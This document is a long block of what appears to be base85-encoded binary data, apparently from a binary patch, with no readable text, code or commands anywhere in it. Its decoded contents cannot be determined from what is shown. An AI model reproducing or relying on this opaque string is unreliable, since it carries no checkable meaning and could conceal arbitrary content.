zf22b^n&tp&A6<=-sY>q>#>g6|r4Q-t35(#R8V=Tyr=4c#o8oRGWw-&Eft2Gz@^mG3 zbkhTIet=AHC3eYQv0c(z0RjR_CGJqLSNep76|WXX{PLapeSWX{`7ZrFa-te~h}DK( zJ|N3P7HxJ^D*xBzAQ-0Wlg6Rp0G{Y}Ic5T-5jWmdCSOvf8?UNEu!1^uh)6EfwR)9K zyGEN=osIGNk-GX1d}x}~AVZDKt5ffNjkXC{!{N*RFiMt1B>qQqtAB$%QtN6+Eu(do z#Mv9=in}Dk*?T)*uv_waXU{6WcRwI@H7$OZB;_ag>~?rC2NXm+k)M(U~#5hR7CPhIxk}NK==l#rzL#?CoqeCKQt@;hACY< zNp}+A2?9TEc^aeFirJ?^b8nV2&Dr}q-rxNIZm~;F`KD6P)5AH=-Jr=z&RHh(5XI=3 z*t#j^8%u26*g~N)th4X#Om@KxuDA+|hq*E_{ca-9|}e zv}B`EvLRZsi83;zaSbnte2)C2AE|p8GOIkFN<^Qy$uKl06D!22zgr=gfut2;xMTt5 zkH6bF1tDxydnF+h$sdbu!jKpFS0TQ+kyl+Sg`HlPd{&f+M-CDB<`Y10 zx<9ss(%k;VA#3CiC(I4Mx+srVe4tiO@Bz|6v#+4J*#$Z0mNSpJeETyTuo}#a|Md3+ zQM8s3FO~yiQ1860IRHz1b!5aQ2HY}!-z_r$ugXz(_0MhsDj<>J%nhbXO%m%u{{=As z3dJSK6RM4k%{9gsvuk@_@4U>|d}n0XRdlay%RCf{7u4lPG_hqTU|NykJVAZ7zXj83 zVCxeUD4RU~q3C#6nuMex4=lr^uRV)Z{UwW-MA9r|K4}gAnN_uimH46cxAg7@7FfgN zO;FEZBnR(}i*|8swQ3X@ewyhZ+cx6tE&t7*BgB+mfn74$ae3WDel?NCuM_Sk_AMkX zXdp6OhK9-ENXll6lv5Pt7JV$*pg1qPtSx05W80A69nl;d?0_i6R{0#We+S ze6@B=J@*+@lka^GIf)yB-&1`o01GQ|^aL_R3!|DjiM8)LJkVXl86w;&a+e(i)n1j@ z>NQ?W{9L-He!4?H8hJ+`+{{}vtmGULql4x}aH8cLFB88>$z#u-3||CKT_G}&mVs{; zl4;G1;>H+hv+6uYVCcAT$^EhyzbMqyCJns?AH#*ky)Z0tjrfx$*j95&So*e?FXK zVY2kOM#BkXt5*ddq^CbWECc-)_D1#iglw4biGJkYhGYHZs;@D9K8d}e=rM*ph7 z)HY0o>q!%@UU);;pP8V%($u4q#;@*98v=r802t&|JNLyq<*`d+p)!o;_8snH8a5v~! zLrXjhVw%qh<+G2-sm$(#9sS+zFWK-VLkei7hH3N!XYWDol86MfKxDsNn7L<1eTZN1 z=2+UCq9XF+=Y^}A{iJ$3ztRt9&xgFl-Q)~8NOfm*8$ZFSMu{ z48Pt)v+h3QEOv(uoM)`*yzr$gY#Tk|Apg6!pGBD3`a4JBMU`b#uyu>6f9TkcaA%}n261DCb zYhBdcbzVxy=?*LirJwX=rvhNp8BslBZCJv>u4V_4m3pHR#yS3V&MPB;(>F9n;w{JT zgi@sHjI-wey)Zo(RXQ4e_)!c`B1)d9 z)rtF(aYZ~SU8fH>ncBCRLrq<9ka^b~5LR=(v|!%0P~?<6$xG!B?S1?j`KinnDM~TE zAqy9tS6RJYeU`^*IzA_{is+%@3&hz)ztB~sP*66wGP7$R$WnI#ZFYjMn48!!AWh!F zDS>Lb9T`jt2N+!2%RitBNmtrf=u42a=#2RoDYjh9vlk|IJkLEyXZsP#Wa8*|&lFrE z{yEQMa`d!jN}uQPEnbB|FwfHjDz;jjtW6^_R-yAV>dxa#|5=fKP0OOly*3p%V-@V) z_!G3(e3wwq;}uYkULTv>jHBU7L`Z_DbxDSMM}=zrxe0=B{8)oX^7x5xxX5q1>4lKG zR$?Q9q0gvO$HiS|&MtEe{!~lE#)C4ebVH)Sq!Eb*qc5zOh43sr@n6>y@6^Sa)~i2( z$m52gb5oz(JCa$Lz$-#>H{eav>wS4+Du5+Zobw4k7m2g&dHHrq( z;iP)!O^ClfUg2(JH+)Bw5jgmKq#U$5z!<*ibhs}PGd;U*nhr`Zb#?OO5+nbV1YQgq zn@iQVXelY1f0}N>@=2=KSQ%~H(ASt9ZQK}b+@ub_mTbZ`>|a0@Yb_z@n-i@o)mMO5 z)khmw#@`XBX9Xs0jd`WCOLyl23-N}IzKX@+8_5QAhg$uroW0>I+0hQxnt(?2>iay- zwM9ln?j`=pOZ>ce0bz)QCPpjrh+>qaI3`A~&4q0hn2mAohDvOEY$$crTZu$4vMvXy za$RvwiyDvF@9%yqqQc*oI(wGDyKtk5{trmQ%PfcmrHrN+7IMMx6Ug4mdowoR-ECE1~? z8GtI${SI9!`baPPful=+-%at=F%l5b;L`=Kt^$M=|7nsPY2=hwRsjgAt#CYo=7H&&gX7QUqlJtd_?&?cDiU_MII4Q{l^s z8dNARX7f~M#o1Ktd1kGF#|E zqbk=^nZ0FUutorD$b_LB*d%-IK{;<@lJ+SWjMncoc_%D0PtAW55 z2oEzXEsK)YXMvCqM8PaA)}~VmV}KQH^&0b$%fxz$AyLDxh3jaM_Z2z{1zAlbFS3$k zU4Qml>*b$$1_=IsPB|?uC*Y>#Vv;`Z~=_kpe z@TfpO9@$rLpi1pzlbfwBmY34!cbH@I3OdY!G|iHv@P%J`ey!eT3*3HN$N}S|1}*nk zh_2o3&rbO7p;#9!oDv^Uz440ru6&tg@p$U$R;H8M-oGq<*-A^Bpo^9mwWu(_sm@=S z8d@a4n&tYWc||qzXp=U(ICoFW5C6f1NFueqzVodS|1vZoFog@!p~ z$I}GT(0ZrJK=PQ4pwGEgIg zY~)4*0w$EB9R3M{wQ{yfMr&Gh-2|ylv z12rSBB3ho6Gy|tS(=d#VJmby5x0zOue>pDII6!k6Tp1Y>&~SbGpX8BfXLI;dkdhy> zmyVpcdHZRNIU@}@Qnv{xn~ntCDeC`1IPL%2nUN=mWrP9HFaa8aVombg*9+s+E> zB%|m7x3-Ye6hB>z+h#dHTJ+xKaYv2%LMN{UAd^8fM+5ubjKKk%w<;Ct4Xm=nZIQcI zrYH>gI<_l3M{VRQzgWBP_I@CdZbbKZDW)Ld@RyLobdF#*iZ-txuu(_WOmKZpm2$E^ ztfQRJ-JkWoIUA>er4LA?r^6n)oafSt+E#>@^aoaf(3=aq{;QA zNR#nv6X9Iset^vYq-mm7RVX4VK~ z%VZ#uSDYRHz9R(!+h{SEDK7#Brt*?3xccllTRj#-#7`@*WBp5bWfJD?3v=+PW2qJw1 zqs3V|#fqTwTwG9J$2}v4R#0XG<{kbl9Rh|U>RjSc2}2MYfrEm7zwBm~J+E!ajn&yB zZ+8XyGn~68Bky!c<)}Aq8l-B=$6MYbsYAx2#)l$G^`2~#BC)L^1jPawT*~Gd>Ub{9 z@8X@@6`@4dQRfo}GNhW+;M@=6`5wah0$Z=@m)a0gtW<7&;zeFG@ThsuE5?UZLtWS{ zFW7n{u1k|UpBR=znZ~HRd+zAm54G_dn;`cDqJ)NF`?W;t9nt&kGFxb!OA5$BZo60} zB}i`Atr;ygOj-Ov#BiLXbPg5cJcv9m4&bD&DY%f+#6c1k@} zd!?}AYs`w&dwQw+bT_jxvSs`Zl&lEu2yb+O1cVmz{?1I#t8KXjK8JPR|MGfPP``fu z?CZ6jt>t~^?uvBy->>AoRDmMx!j`;P6$OVVTGdr7Wfnh&{4${{0_Ke^`Owy%Z3QEz zPC{8PwWb=ca;J08V5~G%X2eX3?T8UpTQ;ZP)&0kAuWos8%ZCNz6VaCUE10V^=bnlz z8ZVpqhs54QM2dA#3`c97dj<-|JPq(iod3?9B3lx;VjcCAgPR!8 zf6W*#4SsAFBWvG+zIsd8?*SHE$L1p6?ZaX)1$IFX(96>(t(C5;YEj-%;(@EUUS-`^ ziNL9TH(}+@X>IvE4nLs}g7l*wT0Hy-KXcU-Bms-33Pf(FmUw)}tRu$3!PEA>jp==5 zX~SL%!R4v^%b-Dw{ncj5`XDVZS#m;o#zGf1|MeZzWJmKK&aT>E*AHyyiRQ4PTNs#KF#{0@Ca5vJk=@D^B$cbzNaXwd|bO|Ha-D zPg^LnfFoZrKLHOE@JYBBYU0Qs=_ZeKUZk>6ySRMSC;BjVY|VD01!~Y2a5N1KPTTte zX;{Sjn$n{><?>00oBk=}sTD@6o4gA7k-ykZdb4fAz64&_r4ahQJZrk#8qZxndXB0 z1NFGV`g>1(KKC4zdwyXY)I5ezG1vdn0q1VtS?Mhs&g(ghYqxV1BzYZ8wqK{~-;G%J z#VW0ynyL0HJ-(^V%;q;}b$k3NY-~d=oJwZ&nY+dZ)ld<;Y8T}bvybe}-_3 zBYkD56y0Nsk5hTi!WL(v$3Jb<@VW`(_ts%94#w?$IiycD%kz;zwcKUa>`T__V{L-~ zQiGN6M9wXe+9f8@U`R~;C5D>d@YslKvwqin^9ckS2L7NL2NdDsNy%GDV5OAZL3G4Smn+eYC z*hYQ$EipTPGzqqP7YwVm?jz&rCo+r-BcwkFE8 zQG@u0M!|skCONr#`0<7)mgK^ib5Fv#XNcJi_9j|o!kv5GjFq~qXen;C&T%U(Pj!9T z3TGJMmbOPcaNO&fe<4$LIeVaar+mwmZ#(2$mVEnxe3Lpu&5z5sv#`#Bay6W8VY!9M zXZfN7%0aDNak3TDn74RwwnQTkYnhGI(0a5 z+(zp3pmjtqH4d@9%-EMKKki$VVU*+#Dtq6mwEmL(zE$Z#{tgzf*^qc){NKQcBU=wD z<88o0Wj5gy6)Pb&O=-l^K$wslPv!;7xHFrs3so@?Mu6PysoW4+N_sV0w5$vv)*kuT z5-lU=(BRqq-EZ9)-AulN4KM{0GiZi*OE>~~V9@1z;luNJDcHo6FQ$B?qior`xR1H3?lH z>Clxc45v|57L0u90!t^gauuF{MC4N`%@4^-p1pyQ)DI0?NQJ{inn1)yMcr(N1%;f$ z=_!(_%+i^rK8L+a6j*Yp@Uv~Zh*>x%jQI@VBAsxc{X9%2HbD1csY;Jj*b`K0@!QW? zB*3afCPEy{uc611jcX2g42@U;?dUz_%SNt935kP8pa+*F7{EM%q>-u^z<8ee)n*wZ zT8dbMwJk;hiukE?*eh8t)Hk^ynQZd9S>Fws@?7HYL1N;JEKH18j^h0vbh#{aaOEBH_k-y^R)tG>b{)~bE-SGD?;d^8DO(iG;&rI098 z8*qO?q0Zi~vFgCHr!o5iMfnZ%&3wua?fgKXyV2&3RpgQkS-l3dg*~fn6jsBV3yKAU z)>&g+j%VE_>XDj1Id>tl;F_=hjcuO~r~gMk81YRJMv#(>wDC=Lv&~yso;BH)?rjS# z&K**xyv17on{Lo7vCWIfp74EV@0aC~-J4NA%Upx+*yn!0|6&!1-WS84kL{9eLE&p) z7i|q3Fxkf00*rT)o~?PI0@Nop&M*XAcP6?uPer)703@O(R+2}`m8qkQyndW=ED))A z+#=MHz<2`te&@x_rzfE6A6=(;8&dhS`j*Ve=g45I)(R<3SQQ@h>+>Iq%kV z5ISA)wEn@qk}O_EK~NZ5v;^Ojpe3uiw=GCvOO{DV(|M84I8qY#m8r#G1YlRyHO4*Q z;yMKL*4D}h*WE2JuhN$s!nMB*?AbcS&D~tKWBNUx~niEW;%WE&aZ{ zt9AdFH+e9M>u%x5JR zb9~I^mM{}Y+xtm#g)#bd${O`ZM8QfDhl0X(_N4I)G6$JjLh~dF)!t&iLlt>!!zuS4j4G%vS2c+*Lu-$Q9U9>0S8*VNf*u{a+asKokt z855I?OTl?{O!ledJ;$I(K9+R~_M0Eb=b{6cs2_TR88uSL6yK;KrvI8OT+KxB>H? zer|!0VRVONE6q2tSq%_ zY1aV0qB`N)U`lR+>2XNLHy1UyLhh4(uO)n4zh8{8Ho9{Iv;HO`g~{4Op8`k1sq!-# zgrGjb7}eeHF<(9hCQ0H^R(4Ctlk;Pp+c@$sf#x`nozM9(XOC!eHd$>X4S9HH{8`gB zff?}ulC6ewKyQ&UOFbs9)G-|w2|y2f^j$NYYt&WLdV=O|np^2H*D_&0WVkR;;b7w3 z)2#56ditd9C@o)t83OBvto?s~S?{YfRuu*qSjG@L1O}X(;A@`z`vhMj5m&#Ez6ZWu*KV)-7)86Aln|YUJ_VVr*cGeoHWP|WR&R+Y@h?Y z*R-Q2y*13hHga+nppx4p z9d7(Cjj6EO-#*`!r0p zVW?qz1v6;6Cko%ME4n(gkqmIE3Te(Lk*4gDiK)aMUnE%xUkureLC*`}kK*Z44ZF;) z>1DA=FCTzv6k_oSv8c}X@lpShZ7x-=pT;4;G1#Ev1`y{iO$p!Re6FmNUZ*$Qz=pL0)D_R@XUVmBchRh3W>soaJYfnglRF5>e1*}5>i zoUf$)#)WANnb~{KdTC4I&l$r9tdDA%lJyiCB-av)!K$k5-CV;5| zhjD4Uno~bw&W{u@=i{poe~`O9qg!h+AYh8H9`PJ*O)D706bg{aVw9A{a-E^`)K_t6 zLb#;YnTh9u#z3*CCU028P499V1Amd zKDb}lpynECPudyhFh=)J1Di(S)^oyyBYcfdt#;X81Ep*s`|ag>(Y6J#Er_H?>C zKSfn??UHn;(4Dip^IUjQUd(Z8w8Aa9$Rxq1L^-qW;a7DZyDPjlX&SEWlQf&MqaBfz z+a)H`u^lZRd$*|8)Vq{UOK~w{dhlHgov8F84?TEFj`;E^K>;HnfFq}|bP4HkoQGP4 zD!krOpWZ~=TEqJwdr($7K>LgCQ#nC(E0Gc<8S`M zl1om-&8665d(gZ8V`muFn4j8zz$0GEEcEI1^`Dp){&5uDu z%2$c+uxkwO78YU;7s+9W~0E(0Ix!X#Owf) z&gYH>qxW4JjE1Tzox7`w*E^r9Dy@pOe`TAh7DO%k938IvGdw_|gR)Ee%Xs97vEkuu zXZQD&l_s{7siQc+MOV~LQO+#DPVd*Pv~D5(Rrt-yad8=_-(hm?_m|!@)P70mcD^{D z8#UJM+IDud4`dFK*iLE1-B=oaJMKX)2M?8rRiJUz_~Sf{W2Lytz%4PxXy8w3&m_~P zD8em(n%9hszQ$6N-9A4d+}j9@z7tbmD*pS%GUp?ML_Til4thV30aR4-@6uq=#w^4| zKQ7iA+#7AgU2NMxe(vV~WQyXSMocCV9C&z(T`h0tJ!8g;awxn)(spgwwXOS0Se$MU_Tt=AO2(bryfIrb_FXaWV%-&s?W*jh zqt@Hp>UR&AuSh2T4Lz$%ipMV(Q#wawY^~j{e#kvRqXOsG+AmhppF`?m`T})a?0oKv zrAFwd+Qb$5ZP37Y_T0Ksv3r!Rt3;wa$EesXMSLY#&Ky zi>8nT_;PAlL#DKw-o4IiCujTJ-c!jkbIYWS>e_H=f1UT_KB{hacllCCfU*vJRyL;U za25%$gc0YU0E4Am2DJF(K6@ye%cP8yq*zFmXD zB?@!QvH6ppDd(Ow*-HnlC8gaDSSfwk?e5;Pz*w`=i+?JT#(TK1^+RtgJf@azV>Nuo z=rl2=U6+~tMxB_Uf*Rqm)18+@%BK?XLT+fk-AwgW&97yo!-nZ}q4ML8n6M5W;m;Xk zavT#v0pVpbndRs&|{_e_U<`CS%c@s3b}a>bXmReCH<9{oVQ($FW0&IC{9}I z0q36TOnzJ#8Aug*t}0O@C#i7Sj@UX^6~S@o1%p_jsw*Y9h=ljk94RN9J2m!nAWK4P z5_gzvSg}|=n0^o~*Of{PXZQqbv5qqX!0y*X>eR_fWJ!O^UA&H15^geIspGw-)Mp!* z_V5fD`HOs0RF?L`il^fa=Pp4^k^xK@ItDP`1o)tbB;fJyGb}~Bj5Ysrf0fAoTH{t< zU`6$wFlwfQ(GBa&{qrWW48w)g@5gsI{vC*}`CEh>s54-U>*M#CbSyZz_{Qcx$q#>& zA7qBgSkDZ)6~C3vs~>D)8saN7ZI(}ID&*OyJw8PJXMEZ?L?PScb$j==xul(@fw?q* zu5h>abTAqK@HQpBG>zOcrT&{?pmS6W2M}SoD1l^r#H1sE4erKO;dvt&5P@v7C;5QK zqCw0P9t9+`(-wcX@O90IN_TCGt%cNxW)d4)yMkYcHJIZ|p1_X}`A&Xr4?-P=~dgVi+48TW`dX>91D`(@I7 z`BQ&2t_^y&WNpcO#>`;5Abv+T7-FhaqeL@NwXEpzRkJ&Hg;T=xSH5ZmDx)VSdl+1t;tF3 zhVGffA7VkehCam~4;F2zs0^RS0T;TBIsFm8%jv*ne`RP~zQ&l>Uz)?R%il)ngWKGA zn;V;8Xk$Bbjv95s`eDH6OsqFj~eces?XJjB>oeuG^Fie4prXjeafUH3$ z%TojL%P5=1Q?A+;Li8hT^D3*T5T@=Ei+Vh>xkX-9%gf-e+UnN9D}?KAqjj6=q5+aw z`c9Bbu z`@Z8c{)S0EIEPO}+oEz;Yh!GkU7g2!3Vg2nvoL(7bnC!;)&cX=sWDy!%Ce~8MC*!J z0GtV7q0CSkCUTK5DPK5%j06&_!>;COtG{lTbXVx*W$F(vC*Op9GD96h!N!PyFs+Wr zS5mUXyJRNg_c!m5h57YGnn}*Y|GD`+{*M2dO>ke~Q4R7u)tZ-phANf;@(kOGqZP|U z$oI~gdQNPiv-}Qzu!GXkl~If8;2qldf3?|}%75t0y4lW5t5Uv7r&j9EzX$eCB3f5bMrJko+~{b&w)NM>I+&-%D7;WNKmq5o+z7V)u+UUgIZYv z7-mKte2I5qMsw;=EUkpOW1zkcDk~$1mC4D4vb=~tFt6D{J}l2mNcX8#SM@_AdjSIK zJWxA?*g9r-sS2NKH7pkcD-xUY2()mklmn)gAyDid@o2~!#ek8gzIvbJagw~r5;(6a zKH0PmF=?36+sdZ?nLDLhetc`Gv9hy8<T$V3b0u!0e40EjHg!EsntzhV4Of_5E#-<%$-GR)O(blf%&2s^Z=V;w(5!Kj z8p@lYE{BzTJ`-yYY8D5#3%BzySmKx8PPTZC8wJU_8{1MYk!(gG>8lSun~VUV~SR*=p> z%oD(zDxG^8@R$2O6nhX*#;CiXpmBcyGD4)TZtkQeSm6L`D?H?E>Xrv6F3{F0 zS@Ckk{8k$y9^{bvi3F928ImY4sfB|{cRl);Y0{;V1>QWIav?|aMW^Y;^aUu1nYG3c zPwv)MGqL>60iCI`en&$XTwG#?fW3yh#T+GW)#3Q5=1iU*zae=ZP2|cMOp@glIQ%(a zI5nVBSi9lNBZrPro@*WK?y?FW4}I!p846Vo%I$r&xx$)Uh?uN?Y=u>oh}VS@w*yx4 zlpzZvKf2_4fn2wa2~en>or}-~h5N`8l?x0D*PFPMZ~%ypxGfVr6*b3wd0pqlY!`s1 z>#%~SGs^RcuL5BDar_$R9x_!@Ct-#0C9rh`gP?m(ox+y$3aP!0@Jx)j{f~{B{Aebf zv<`B1@t}2V{0TY^Nv_9`L-ekgDI^?KY+4-gvd=mFc5#o!B~7ZcUl7uoQ2zp)99sco z$!XQWw2*&Jerj?Xo%xX=8?Q$m_MGDFry?DBDV^D#a9*d?2GXo+ODGy`NC?=!BR*SwFG2 zNgS11<3zyMB2{`Z#yEF3YAtjn)&T%Fbr$PuC-<#i8 zk`8RZkAZSU&{z!=U{wB0lh4RF{*4M({3iBO0c$Z(84ILJA+pKu`%?P-3;Rl}{r)T_ zq_4yljQCxtaaXhbW9T~vZjZ~J*t#YuW+y|h)_GASt=+{=olM!?XfeaJm=v}uaNJZz z`Ox?D#FVLF_5m_?Ml@qw;wu2um<(Pp3Swi@o9&MfDq$=n-SoMb2?{Q_(Bxt(t#xYo z^Z0|xbA&$j<5L+??|h!cukb=sv6aOF$^_21zls3?g4YA$Nn=zni2+NWQ>K7tg9(2Y zc?xW2(I5S3Yz5TI@anTA)_7@ALw0B}@8`X28Z|J)`#Q3DMpzy4PmbrHe($}!x8IK_ zJBp*mZ-HmoqwTx$P&X?U3*ZC8aAL(TF^iIjbuFG%rbk>}tRa`jJdWp7UvyktGVCHbw~6?0UKYZ0oeN~p?V&O!jNFUsCJD?tJBPHHMrTX?hebAaA3Y1F+>e>D< z7%zxyUDj{_3@EsgVSj2$|GI^J71sWBS$$+|7%ez>)sQTUKfSLaZP=fIQYQPU`BkB` zpDcpX;(yWdG*AG^tBQzT&(Y&D<^Z83E|=XhNE|S-r7_tqh6YWTvs{&kz49DrYA2$3 z_X8Hp2Jq2r%rg%F8eSyv*uo{%caR5@-nxaLQVN(QU$$qoz358XYasRywn;Kumhvg8 z_{sjzP`j%dra?b4xqTUZO_o5w?+H(}8{=q#__Ms@_s?>2(k-n(Ql|XVmq7T`rdc^{ zKy?bzdK$nnwQB9wBd{>!^#ii9H77LVwReOCQ%CI%aF&ioWy#7Xx2*CU+IkCR;GBDM zZ;xfq1y=0Y7rG3QbRi)B0y(o(CjvWXHytCZB73q!wGwI_zska4HmH;OiNFD5xcxDn zgT|B3`FTzr`b5h1Tza4t7zF(auV7+XeIYsl;EHz6{*F0{IVFUxp8@fDTE;NhaXFJ# zaAdt1h*yEicOj?OdaQUDOY{szp3g2IFM;IR?{Lb^r|Z;fm9GBC*G*ezJ*s?DR@{=Xx#O|mm!0}w}@?h|vX%`ooq(5+6$bOhXz?%f) zHp>e-z)Oh1hO`_rI`*DTMR^kSRRk0IC1=ht_MEjrK-z43>c@6>T2fl?iTM{xyCgH+ z;|5@F?XYk2c{*GjUg7o!3l7C>+h9BLHW=RQ+fXSbokup3W(%R(ybCz@NNtJApM72U zUZ&KdF>o^)1NUv-s(ZhY`K>D$f=V5+nki1nX)D#w;z$*`pHe~Gg&AJ(S+ITCVtoN& z+kFImGKr%A(5~_+&G*v#)}ghS(gv-QZeR4r&eb$+G&y396g(AD=tOM)lr33FO`Kd~ z9mF}2Sg}BYNShoH?AmW20nkkcrsj3_m~A`4oJ*qM&Sgs`=$EI2bg1N3G41omgN z^E&Z5$9}z*-TLFg{XddURjv@se)$Q=I$Hj%XgL%GBKPSc%(NQl6wee3WF@6Uwpn5; z&O>nQNQ;&~8_)B+7MkmM1IeL0JGOTIS-ECg6K!~wq6FArjSpfK77VdQ`LhLwtS@3% zcg>oRN-a$MInrO?5`u39cV=Y`%fL}}cgsqQ@QB8oFGOAIaMb;PDY5!=e4`53~ zRI`qnjh0W$w(F91C2yi`w_X}H%AY=2oNbdshBt(6HF|Uxj2gt>=L=}$u%{~D`A{Z< z#D2(umIyyD$K8@=S#f;_i%tkjH2GZlv$DgbgWQf(@M0Bq)$)@}Vwki=Q0&vO_9agk z4SS``vikQ|g#(!r+4CFN(fCj8%x3x16v~dgJ7bJ|ejwdioTnc5i$-{ulbbvs+MGH5 zEpC+aHfGx!^}P%yi29x~d`}>6mDzx#r$#!CBdq@xW@ZI%4mW2!&Rt&@{uQ1Xd?(e| zbo~=zd`2sD?sOsqs6(WB+JU-Jc`g}$h*q$MXE)= z(kHN-bFFuB%VKtS0qNoZC+qd88BMxQd;?2K4XO;^;Xoka8%;p#j)%izk-LtO<&B3w z1w2V;hySQ)GisC{mb-k%Kv{6^^N~f0T za?#@%%4$1y<;7^=hVQ8aKv$bRC71y0d8=*9dwPVz*(K@d&K6dlfp9!Mjnpiw%8&?( zz|_RF9cNZ+H?wYjSHW0x)6IR(K5gU2rlU`cWifwpDig~keuvk}EHV(h zq`39{%p_U9+TW08jh>rjE)b!jJvVPKXN5^=f5hy-G4|`Oo1vFjulxw8QQ1gazy*2- zM^F%QUr~m0*G{e&I7e8cTrZV~Hbh=7+GFsRa&%Gj_`OcYy>pf54@9yl}u$x@0H1 z5h-0W#Ps%1=#%e}#{5RQH23k8ylT|QC@!Wrr%!cV4SFHnE3b{FhZoD8PPy->d0%lc z*0%lh|H`#Xb{3_#KV#hB36HiTWwJYt#TSX=W2Q5myt0NZhbkz$-eL}B!(}P9Ba`9W zImWW$ohsuDm%03d%u~Y*e9nN?i27T)qzA$`=a<=KTCGEdd!2ErApATNq%oozF)_8iM3)IN`AuZlyHf2k7FB{2Soeyf+JAdZMT6ONcHUNx{{mtF&%mqxj(ix zlLL3U>0BaX+mtgCU)=mR=6bxHu{2+V z*=c+W-^g$QYA~mBL!w;6BApK{)%5cOh8n=|g^8k$W6_4EoVy-k%$|G`!#dBD@bieU3Xk3Ug(v^UXNYV7=)bi*j# zV5}}fT?L!CvqpA0I)2aB^7+DtgOA>$omoXaF}dRG@j%$co&)WFUgdeU{aM*6Sk8Az zA`m>E7}QR8=1Jj2so(f?nmp}!dXao=wHdD&hl@Rj+W#2q`L_( zjEb;+W9PSZr|v6@wda5`RLA$ph-QqPy>dNh^fX8pjgGwrZup_(k3ITFL-KY<%QirW zMI9u-M_Ei5PybpDJ&8Q`J+7{95ah&Dc9J%fANQQ5)SiB@%Np}NVU+d}wTs;CM)e@F zQXeh>j-983c#jJ4(v9-NM$OAc_**i*XVY|7d(t-WhL~eJRJKY~i1VRc_O;bFVEwSW z3ne!j0HLvva_ubczsTZBp+?zzp{rxPc|2U1xNnA|zLFJ9{6glLWc$C69|+}EAJp@S zHSlD75dpeE(xuzPb1l`=Dox=a(YC?j`xe5QM14UX&sqnop_D0|WfjTQOoq|I%FXJF zPdRs9P4n7WeFD`48QvKikueU6O8`B;ogDG8N7B}ESNBblSku}2RetZ?-{CSI>0QBP z&m+B+e6)ATv24U-67c*Tjb95-?~v*;4bM9t8M1y$-;8A6Fv=q8yN(vs@Y6o4*+9Vo zV>0F&t*nw$`Pu7bPS;msWO(mGA#vnpEoO^MP)Asd%V>W5rl6CH2=b3DI!t#IV7bdw{;Y`?J4IVK$Ouu}c)XId^W!iUwP zw=g9qi^9h{okr;|o=|HJQBKGcKHmO;Ts_g5W%T?)hO4eKe>lSmBbkgDyqzJ`bQy<9o(q1ibIX8g{d2E}M z(|A36tr)X0_|d&`~XhK$tPz>uOMTG1Es|H1i;1w*6V6Ma`cDih)^JrdhJH( zVO%)&zVOWKocX0AoAcDV9_jhIlE_<@DzZVGvEWuh+Mw_cfN{>|+n6^j z#!2)Q2?x|Sc>=P-Y$`|Buqc1(OBmM9uA{<$q!7QJmE;l0PN2S^Z`LWM_4r9NC~59b zi)RS`IOr5owv#P%5>^521y+s^useagRlzf4{1uL*SnP0%fqo!U@Lp<;#-trMZb`@;O07*?!*tqdxVUU0>$$*r7qCWVCJ9V zLeAdr(r)~pNK4);{$ta4nP=JytJU0N(o?ywCzoI2_se}*|L=Wl@j7K^S|iWr#9!)I z6fA1YYIOz^dRPd+0n7+f)j;LoMO5HmN~YAqbfSquekjg}*$%+V^` zX6%|+1?+Q?Wq^ZBTDQ8pJBZdTS6CrKWg=RK3dvQw5}85kZYTsU09WM46lkTnvl>sG zga$pMU7#Z+U?C+g`I&@g$oBauSG0(Zr||@c=M$8Hxc9hlJ^A%3{HjTCkvJA;^pINf ztodLoKZ%d6eUJHfkiWIZ2EOw>Jb6hz%JQKvpeKH$>Y*Q)nYNoadvD-=cZto}D;aM; zNrk05+70gpu_f2KMR3NxfJp<=IZL#BLMt=kdxCcM5mg)wb2v?V_TdhF#KQiYA)Kdv z{59H~4cC_n2QnRA+5AxE!QBu-_!#}u8~X$YDF@^!36?0K9}=&lkU z89q@~slKlLvkU>ZNVrWEVp-wKy|U(>@`=vN`_}Yn{V5P?##S6y!_ zn|b@KqKJmBAP)*?<26}D<*Gd^vTh}k43MgtmnAwiGk(EHU?nq@5?{b#eHNuy7CuC+ zwpG?ynj)c%*H+!%;HV{iXR+EjB{6(Pwj@zuQn=w>ya%(bQ&QWZUz#hmPOU0zM z&8>wbl5$bHk<833_)S?HySkmFOQxYA#XF71d^l*Bp+eIeSdS%IJloy;BnB6e`_SLM zO11#q;uX?jz|DNEU2azkXPdRoHme^G`#9r$7$HOHIMuQ&fR`m%VGO$==spaf#6y^O_Sf$*!}kO1$KpGkG3s%i2>d z;~EUBqy|v^3{0;Q*F-APuyO{X-hYc;k)r7!k3a>2$d{f)&Nva=DByFCwJf_a>I70G z2#46(f6Z5as$x@TNIl*;z<{#i8 z`D%oRCE=AM{2{QUdmA&FzW2GG`%{LD?x$F-A*MT1$3y_|^h%s56L24?;)tWWfZrD5 zPet~hypc}$m(w<>!lHQF{L5)mAE=O%gv_9|$SYRcNM%FX!~60)A5pGLvVee72~T5} zmMns_1|~d=wxo+WrP;_AeU}3@UJ816J_^n2?jnaUKsN_QCE(u$xH><)FbpJ|o5C+U zdtczPNU&3$Fo{3*@K^gBWI<;{q*9S&j3M4ZcnpPBYL2NB6n4Oj3A%zEM*pG>zcn`6 zqBYOYVoSE>fhq|#vAHs%UH3*`PHrV4AbCZJ%S%yDPRj%OW`bPQd0`3#SkOG8R?6OCZ!&@?< zjjm{8&c=8J9)T(HPI5zzyzD|^Ht>RG8x_bzp?SmzP!hf72U=R+o5G{PUO!te(dr`6 zI<`smQ^v zxFE&wmHbA|6B3_Ohtve#FMz{tAse#)E3@NEgrxlGrm zq;c^zCX*jUCdz6H2PBW-24f5L$3x{*%pf80M?Y@KDVjq_j^z$xd#Xf7ph59dwIxoK9kn0%DJc5 z{vsC0E`DX4^TYvirexuY$sjA0NNcJzW^1bmwHJ^7jQpR0>Jn0JON<*rVMr0WEpO_t2Jnb@<%oSZ_oBqFtR$Z0JE_(dlTrfAAK))NeR5N#Liy4JP0n}8U2Q(2MUh{Jx9U|=Sj&1;R&47 z@0^yCTKpNB^KiOOD=UM6BN-ok^gU)M^0}N8W}(DBE5K-oh>1CS&G-;GY*_uCB^bXR z!H=^I9*pF$iALkdB{L}pzUd(kKjy8k4U|QW&-Z#UFp50>ddJFcA}ggXgk7C~E5jgP z*$gY%FjEr0K#XuR?IiTJ_ph~DG9A`XMhUpxna=mOm+OK@aK!MPr+oUmaV9h$kUy>Q z5-*ncX}QzhlC^RCKUfpa3(qtFuaP2uPDduryS! zBvKAib@DNNyvA2DybnJXPD2V$*Y?DXBi@v-s}dUf`xzZSFWQ+eKI!f6rZ9KgNA!Hp z>6oTV>@Do`jlg;Q_OM0++sM@7po4w>Oy@)5UirJZiRngXx5r9Sivl^d9rJZ;$Cgv{ z)|lk53lOwPSM@!GCy`(3Bzkr+p(EOSiV47>3@u!{;#mnYI%8^;YniBbkexBfBTKk@ 